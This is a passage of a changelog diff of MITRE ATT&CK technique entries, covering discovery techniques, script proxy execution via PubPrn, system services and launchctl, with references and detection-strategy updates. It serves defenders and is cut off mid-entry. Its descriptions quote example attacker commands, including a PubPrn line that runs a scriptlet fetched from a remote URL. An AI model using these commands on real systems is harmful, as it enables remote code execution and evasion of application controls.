"x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.039000+00:00\", \"old_value\": \"2025-04-25 14:47:55.750000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0565: Detection Strategy for System Language Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:27.342000+00:00", + "modified": "2025-10-24 17:48:56.618000+00:00", + "name": "System Network Configuration Discovery", + "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024)\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1016", + "external_id": "T1016" + }, + { + "source_name": "Mandiant APT41 Global Intrusion ", + "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.", + "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits" + }, + { + "source_name": "Trellix Rnasomhouse 2024", + "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.", + "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.618000+00:00\", \"old_value\": \"2025-04-15 19:58:40.773000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0195: Behavioral Detection of System Network Configuration Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:45.139000+00:00", + "modified": "2025-10-24 17:49:01.094000+00:00", + "name": "System Network Connections Discovery", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A) On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.(Citation: Sygnia ESXi Ransomware 2025)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1049", + "external_id": "T1049" + }, + { + "source_name": "Amazon AWS VPC Guide", + "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.", + "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html" + }, + { + "source_name": "Microsoft Azure Virtual Network Overview", + "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview" + }, + { + "source_name": "Google VPC Overview", + "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.", + "url": "https://cloud.google.com/vpc/docs/vpc" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Sygnia ESXi Ransomware 2025", + "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.", + "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.094000+00:00\", \"old_value\": \"2025-04-15 19:58:45.496000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "2.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0320: Detection of System Network Connections Discovery Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:35.733000+00:00", + "modified": "2025-10-24 17:48:20.366000+00:00", + "name": "System Owner/User Discovery", + "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1033", + "external_id": "T1033" + }, + { + "source_name": "show_ssh_users_cmd_cisco", + "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html" + }, + { + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Access\", \"Process: OS API Execution\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Windows Registry: Windows Registry Key Access\", \"File: File Access\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.366000+00:00\", \"old_value\": \"2025-04-15 19:58:02.301000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0024: Windows Registry (Windows Registry Key Access)", + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0093: Behavioral Detection of User Discovery via Local and Remote Enumeration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:37.665000+00:00", + "name": "System Script Proxy Execution", + "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1216", + "external_id": "T1216" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "source_name": "LOLBAS Project", + "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.", + "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Wes Hurd" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.665000+00:00\", \"old_value\": \"2025-04-16 20:37:23.298000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0466: Detection of Script-Based Proxy Execution via Signed Microsoft Utilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-03 16:49:57.788000+00:00", + "modified": "2025-10-24 17:48:22.022000+00:00", + "name": "PubPrn", + "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1216/001", + "external_id": "T1216.001" + }, + { + "source_name": "pubprn", + "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn" + }, + { + "source_name": "Enigma0x3 PubPrn Bypass", + "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.", + "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Atul Nair, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.022000+00:00\", \"old_value\": \"2025-04-16 20:37:14.984000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0528: Detecting Remote Script Proxy Execution via PubPrn.vbs" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:23:06.482000+00:00", + "modified": "2025-10-24 17:49:25.548000+00:00", + "name": "System Services", + "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569", + "external_id": "T1569" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Service: Service Creation\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.548000+00:00\", \"old_value\": \"2025-04-15 19:59:10.127000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for command line invocations of tools capable of modifying services that doesn\\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0279: Detection Strategy for System Services across OS platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 18:26:56.187000+00:00", + "modified": "2025-10-24 17:49:02.098000+00:00", + "name": "Launchctl", + "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + }, + { + "source_name": "Launchctl Man", + "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.", + "url": "https://ss64.com/osx/launchctl.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process 